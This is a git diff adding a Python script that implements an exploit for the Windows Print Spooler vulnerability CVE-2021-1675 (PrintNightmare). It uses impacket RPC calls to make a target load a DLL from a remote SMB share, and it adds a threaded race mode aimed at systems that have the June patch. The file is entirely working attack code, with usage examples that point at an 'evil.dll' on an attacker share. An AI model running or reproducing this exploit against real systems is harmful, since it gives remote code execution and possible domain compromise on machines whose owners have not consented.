diff --git a/threaded_CVE-2021-1675.py b/threaded_CVE-2021-1675.py
new file mode 100644
index 0000000..2e26c88
--- /dev/null
+++ b/threaded_CVE-2021-1675.py
@@ -0,0 +1,254 @@
+#!/usr/bin/python3
+from impacket.dcerpc.v5 import rprn
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.structure import Structure
+import threading
+import argparse
+import sys
+import time
+import pathlib
+
+#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
+
+Successful = False
+
+class DRIVER_INFO_2_BLOB(Structure):
+    structure = (
+        ('cVersion','<L'),
+        ('NameOffset', '<L'),
+        ('EnvironmentOffset', '<L'),
+        ('DriverPathOffset', '<L'),
+        ('DataFileOffset', '<L'),
+        ('ConfigFileOffset', '<L'),
+    )
+
+    def __init__(self, data = None):
+        Structure.__init__(self, data = data)
+
+    def fromString(self,data):
+        Structure.fromString(self, data)
+        self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le')
+        self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le')
+        self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le')
+        self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le')
+        self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le')
+
+
+def connect(username, password, domain, lmhash, nthash, address, port):
+    binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
+    rpctransport = transport.DCERPCTransportFactory(binding)
+    
+    rpctransport.set_dport(port)
+    rpctransport.setRemoteHost(address)
+    
+    if hasattr(rpctransport, 'set_credentials'):
+        # This method exists only for selected protocol sequences.
+        rpctransport.set_credentials(username, password, domain, lmhash, nthash)
+    
+    print("[*] Connecting to {0}".format(binding))
+    try:
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(rprn.MSRPC_UUID_RPRN)
+    except:
+        print("[-] Connection Failed")
+        sys.exit(1)
+    print("[+] Bind OK")
+    return dce
+
+
+def getDrivers(dce, handle=NULL):
+    #get drivers
+    resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
+    data = b''.join(resp['pDrivers'])
+
+    #parse drivers
+    blob = DRIVER_INFO_2_BLOB()
+    blob.fromString(data)
+    #blob.dump()
+    
+    return blob
+
+def sendPayload(dce, handle, container_info, flags):
+        global Successful
+        while not Successful:
+            time.sleep(.1)
+            try:
+                resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
+                print("[*] Stage0: {0}".format(resp['ErrorCode']))
+            except Exception as e:
+                print(str(e))
+                print(str(e).find("named pipe is in the closing state."))
+                if  str(e).find("named pipe is in the closing state.") != -1:
+                    Successful = True
+                pass
+            
+
+
+def race(username, password, domain, lmhash, nthash, address, port, share):
+    #connect
+    dce = connect(username, password, domain, lmhash, nthash, address, port)
+    #handle = "\\\\{0}\x00".format(address)
+    handle = NULL    
+
+    #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
+    try:
+        blob = getDrivers(dce, handle)
+        pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
+    except Exception as e:
+        print('[-] Failed to enumerate remote pDriverPath')
+        print(str(e))
+        sys.exit(1)
+
+    print("[+] pDriverPath Found {0}".format(pDriverPath))
+    
+    flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
+    filename = share.split("\\")[-1]
+
+    datafile_info = rprn.DRIVER_CONTAINER()
+    datafile_info['Level'] = 2
+    datafile_info['DriverInfo']['tag'] = 2
+    datafile_info['DriverInfo']['Level2']['cVersion']     = 3
+    datafile_info['DriverInfo']['Level2']['pName']        = "1234\x00"
+    datafile_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
+    datafile_info['DriverInfo']['Level2']['pDriverPath']  = pDriverPath + '\x00'
+    datafile_info['DriverInfo']['Level2']['pDataFile']    = "{0}\x00".format(share)
+    datafile_info['DriverInfo']['Level2']['pConfigFile']  = "C:\\Windows\\System32\\kernelbase.dll\x00"
+
+    configfile_info = rprn.DRIVER_CONTAINER()
+    configfile_info['Level'] = 2
+    configfile_info['DriverInfo']['tag'] = 2
+    configfile_info['DriverInfo']['Level2']['cVersion']     = 3
+    configfile_info['DriverInfo']['Level2']['pName']        = "1234\x00"
+    configfile_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
+    configfile_info['DriverInfo']['Level2']['pDriverPath']  = pDriverPath + '\x00'
+    configfile_info['DriverInfo']['Level2']['pDataFile']    = "{0}\x00".format(share)
+    configfile_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\{0}\x00".format(filename)
+
+
+    dce = connect(username, password, domain, lmhash, nthash, address, port)
+    datafile_thread = threading.Thread(target = sendPayload, args=[dce, handle, datafile_info, flags])
+
+    dce = connect(username, password, domain, lmhash, nthash, address, port)
+    
+    configfile_thread = threading.Thread(target = sendPayload, args=[dce, handle, configfile_info, flags])
+
+    print("Starting Threads")
+    datafile_thread.start()
+    configfile_thread.start()
+    while not Successful:
+        print("Still Attempting")
+        time.sleep(1)
+    print("Successful")
+
+    
+
+def main(username, password, domain, lmhash, nthash, address, port, share):
+    #connect
+    dce = connect(username, password, domain, lmhash, nthash, address, port)
+    #handle = "\\\\{0}\x00".format(address)
+    handle = NULL
+
+    #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
+    try:
+        blob = getDrivers(dce, handle)
+        pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
+    except Exception as e:
+        print('[-] Failed to enumerate remote pDriverPath')
+        print(str(e))
+        sys.exit(1)
+
+    print("[+] pDriverPath Found {0}".format(pDriverPath))
+
+    #build DRIVER_CONTAINER package
+    container_info = rprn.DRIVER_CONTAINER()
+    container_info['Level'] = 2
+    container_info['DriverInfo']['tag'] = 2
+    container_info['DriverInfo']['Level2']['cVersion']     = 3
+    container_info['DriverInfo']['Level2']['pName']        = "1234\x00"
+    container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
+    container_info['DriverInfo']['Level2']['pDriverPath']  = pDriverPath + '\x00'
+    container_info['DriverInfo']['Level2']['pDataFile']    = "{0}\x00".format(share)
+    container_info['DriverInfo']['Level2']['pConfigFile']  = "C:\\Windows\\System32\\kernelbase.dll\x00"
+
+    flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
+    filename = share.split("\\")[-1]
+    
+    print("[*] Executing {0}".format(share))
+    resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
+    print("[*] Stage0: {0}".format(resp['ErrorCode']))
+
+    for i in range(1, 30):
+        try:
+            container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
+            resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
+            print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
+            if (resp['ErrorCode'] == 0):
+                print("[+] Exploit Completed")
+                sys.exit()
+        except Exception as e:
+            #print(e)
+            pass
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
+Example;
+./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
+    """)
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
+    parser.add_argument('-race', action='store_true', default=False, help='Try to abuse race condition on systems with June Patch')
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group = parser.add_argument_group('connection')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    import re
+    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
+        options.target).groups('')
+
+    #In case the password contains '@'
+    if '@' in address:
+        password = password + '@' + address.rpartition('@')[0]
+        address = address.rpartition('@')[2]
+
+    if options.target_ip is None:
+        options.target_ip = address
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.hashes is not None:
+        lmhash, nthash = options.hashes.split(':')
+    else:
+        lmhash = ''
+        nthash = ''
+
+    if options.race:
+        race(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
+    else:
+        #re-run if stage0/stageX fails
+        print("[*] Try 1...")
+        main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
+        time.sleep(10)
+        print("[*] Try 2...")
+        main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
+        time.sleep(10)
+        print("[*] Try 3...")
+        main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
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